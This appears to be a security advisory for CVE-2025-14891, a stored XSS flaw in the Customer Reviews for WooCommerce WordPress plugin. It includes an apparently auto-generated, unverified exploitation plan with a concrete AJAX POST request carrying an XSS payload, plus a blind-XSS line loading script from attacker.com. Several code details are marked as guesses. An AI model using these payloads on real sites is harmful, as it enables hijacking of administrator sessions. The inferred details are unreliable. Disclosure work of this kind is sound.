CVE-2025-14891

Customer Reviews for WooCommerce <= 5.93.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via displayName Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.94.0
Patched in
1d
Time to patch

Description

The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'displayName' parameter in all versions up to, and including, 5.93.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with customer-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. While it is possible to invoke the AJAX action without authentication, the attacker would need to know a valid form ID, which requires them to place an order. This vulnerability can be exploited by unauthenticated attackers if guest checkout is enabled. However, the form ID still needs to be obtained through placing an order.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.93.1
PublishedJanuary 6, 2026
Last updatedJanuary 7, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14891 ## 1. Vulnerability Summary The **Customer Reviews for WooCommerce** plugin (versions <= 5.93.1) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability resides in the handling of the `displayName` parameter during the review submi…

Show full research plan

Exploitation Research Plan - CVE-2025-14891

1. Vulnerability Summary

The Customer Reviews for WooCommerce plugin (versions <= 5.93.1) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability resides in the handling of the displayName parameter during the review submission process. User-supplied input is stored in the database without sufficient sanitization and is later rendered in the WordPress administrative interface (and potentially frontend product pages) without adequate output escaping.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: ivole_post_review (inferred from plugin history and review handling patterns).
  • Vulnerable Parameter: displayName
  • Authentication:
    • Authenticated: Subscriber/Customer level can exploit this directly.
    • Unauthenticated: Possible if guest checkout/reviews are enabled, but requires a valid form_id.
  • Preconditions: A valid form_id must be known. This ID is typically generated when an order is placed and is sent to customers via review reminder emails.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX handler for review submissions: add_action( 'wp_ajax_nopriv_ivole_post_review', ... ) or add_action( 'wp_ajax_ivole_post_review', ... ).
  2. Processing: The handler function (likely in includes/reviews/class-cr-reviews.php or includes/class-ivole-reviews.php) retrieves the displayName parameter from the $_POST superglobal.
  3. Sink (Storage): The unsanitized displayName is passed to a storage function, likely wp_insert_comment() or a custom table insertion, where it is saved as the comment author or in comment meta.
  4. Sink (Output): When an administrator views the "Reviews" page in the WooCommerce or Customer Reviews menu, the plugin fetches the stored displayName and echoes it directly into the HTML table without using esc_html().

4. Nonce Acquisition Strategy

This plugin often relies on the form_id as a session-specific "secret" for guest reviews rather than a standard WordPress nonce for the ivole_post_review action. However, if a nonce is required:

  1. Identify Shortcode: The plugin uses shortcodes like [cr_reviews_form] to display review forms.
  2. Create Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="Review Test" --post_content='[cr_reviews_form]'
    
  3. Extract via Browser:
    Navigate to the newly created page and use browser_eval to extract the localized data.
    // Inferred localization key based on plugin naming conventions
    window.cr_ajax_object?.nonce || window.ivole_ajax_object?.nonce
    
  4. Action String: The nonce is likely created for the action ivole_post_review or cr_post_review.

5. Exploitation Strategy

Step 1: Obtain a Form ID

If testing as an unauthenticated user, place a test order on the WooCommerce store to generate a review opportunity. Note the form_id from the URL or database (e.g., wp_options or wp_cr_reminders table).

Step 2: Submit Malicious Review

Use the http_request tool to send a POST request to the AJAX endpoint.

  • Method: POST
  • URL: https://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ivole_post_review
    &form_id=<VALID_FORM_ID>
    &displayName=<img src=x onerror=alert(document.domain)>
    &rating=5
    &comment=This product is excellent.
    &email=attacker@example.com
    

Step 3: Trigger Execution

Navigate to the WordPress Admin dashboard as an administrator:

  • URL: /wp-admin/edit-comments.php OR /wp-admin/admin.php?page=ivole-reviews

6. Test Data Setup

  1. Install Plugin: Install Customer Reviews for WooCommerce version 5.93.1.
  2. Configure WooCommerce: Ensure at least one product is published.
  3. Enable Reviews: Ensure "Enable reviews" is checked in WooCommerce settings.
  4. Generate Form ID: Place an order to ensure the system recognizes the session for the form_id.

7. Expected Results

  • The AJAX request should return a JSON success response: {"code": 1} or similar.
  • The displayName containing the payload will be stored in the database.
  • Upon visiting the reviews management page in the admin dashboard, a JavaScript alert showing the document domain will appear.

8. Verification Steps

After the HTTP request, verify the injection using WP-CLI:

# Check the latest comments for the payload
wp comment list --number=1 --fields=comment_author,comment_content

Check if comment_author contains the <img src=x onerror=alert(document.domain)> string verbatim.

9. Alternative Approaches

  • Authenticated Path: If the form_id is difficult to generate, log in as a Subscriber/Customer and submit a review via the standard product page form using the same displayName payload.
  • Parameter Variation: If displayName is sanitized, try customerName or authorName as these are often used as aliases in different plugin versions.
  • Blind XSS: Use a callback payload (e.g., <script src="https://attacker.com/xss.js"></script>) to confirm execution if an alert is blocked by the environment.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Customer Reviews for WooCommerce plugin (<= 5.93.1) is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping of the 'displayName' parameter in the 'ivole_post_review' AJAX action. Authenticated subscribers or unauthenticated users with a valid form ID can inject arbitrary scripts that execute when an administrator views the reviews in the backend.

Exploit Outline

1. Identify or generate a valid 'form_id' by placing a product order on the target site (this ID is required to authorize the review submission process). 2. Use an HTTP client to send a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' parameter set to 'ivole_post_review'. 3. In the POST body, include the valid 'form_id', a rating, a comment, and the 'displayName' parameter containing an XSS payload such as <img src=x onerror=alert(document.domain)>. 4. The malicious script is stored in the database and will be executed when an administrator navigates to the plugin's reviews management page (typically at /wp-admin/admin.php?page=ivole-reviews) or the standard WordPress comments interface.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.